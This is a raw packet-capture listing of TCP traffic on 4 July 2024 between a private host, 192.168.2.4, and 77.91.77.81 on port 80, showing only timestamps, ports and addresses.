Jul 4, 2024 20:34:25.048885107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.048909903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.048938036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048949003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048959017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048974991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.048985958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.049010038 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.049022913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.049046993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.049063921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.049076080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.049083948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.049089909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.049113035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.049135923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.066447973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066467047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066478014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066495895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.066514969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.066566944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066579103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066591024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066601038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.066610098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.066636086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.067334890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067346096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067353010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067424059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.067431927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067445993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067457914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067468882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067477942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.067477942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.067507029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.067518950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.100784063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100800991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100812912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100827932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100831985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.100838900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100847960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.100848913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100860119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100869894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.100882053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.100902081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.105925083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105940104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105952024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105968952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105973005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.105979919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105990887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.105998039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.106000900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.106012106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.106035948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.106053114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139771938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139790058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139801025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139811993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139821053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139822960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139833927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139842033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139843941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139873028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139893055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139914036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139925957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139935970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139945984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139955044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139955997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139966011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139969110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.139976978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.139987946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140007973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140034914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140064001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140074968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140093088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140101910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140105009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140111923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140122890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140130997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140160084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140427113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140470982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140471935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140486956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140506983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140520096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140532970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140543938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140557051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140567064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140569925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140593052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140618086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140702963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140750885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140755892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140765905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140794039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140805006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140819073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140829086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140839100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140850067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140861034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140870094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140880108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140885115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140918970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140923977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140929937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140939951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140960932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140969992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.140981913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.140986919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141010046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141041040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141168118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141179085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141189098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141212940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141258001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141267061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141277075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141287088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141297102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141307116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141308069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141340017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141350031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141380072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141390085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141401052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141410112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141412020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141424894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141437054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141439915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141459942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141479015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141505957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141515970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141525030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141535044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141541004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141546011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141556025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141566992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141573906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141613007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141638041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141649008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141659975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141675949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141675949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141693115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141694069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141702890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141714096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.141724110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.141748905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144566059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144577980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144588947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144613981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144623041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144623995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144634962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144646883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144656897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144670963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144712925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144742966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144753933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144764900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144774914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144782066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144784927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144794941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144797087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144805908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144815922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.144824028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.144848108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.162497997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162509918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162520885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162555933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.162564039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162574053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162584066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162587881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.162596941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.162611008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.162636995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.163074017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163086891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163096905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163121939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.163150072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.163152933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163163900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163175106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163184881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.163189888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.163209915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.163228989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.196724892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196737051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196753025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196763992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196774960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196784019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196791887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.196794987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.196811914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.196827888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.201644897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201680899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201692104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201695919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.201730013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201735973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.201740026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201751947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201761961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201772928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.201780081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.201807976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235660076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235671997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235682011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235697985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235709906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235709906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235721111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235728979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235730886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235739946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235749960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235760927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235765934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235776901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235783100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235786915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235796928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235796928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235825062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235851049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.235966921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235976934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.235986948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236008883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236033916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236035109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236046076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236056089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236067057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236074924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236098051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236166000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236202955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236283064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236325979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236336946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236346960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236381054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236402035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236417055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236427069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236438036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236445904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236485004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236550093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236561060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236569881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236579895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236589909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236591101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236599922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236609936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236613989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236619949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236668110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236668110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236732006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236742020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236752987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236763000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236767054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236773968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236783028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236788988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236797094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236829996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236865997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236876965 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236886978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236896992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236927032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.236963034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236974001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236983061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.236994028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237000942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237004042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237019062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237040043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237051010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237061977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237072945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237082958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237082958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237097979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237112999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237137079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237168074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237178087 CEST	80	49744	77.91.77.81	192.168.2.4
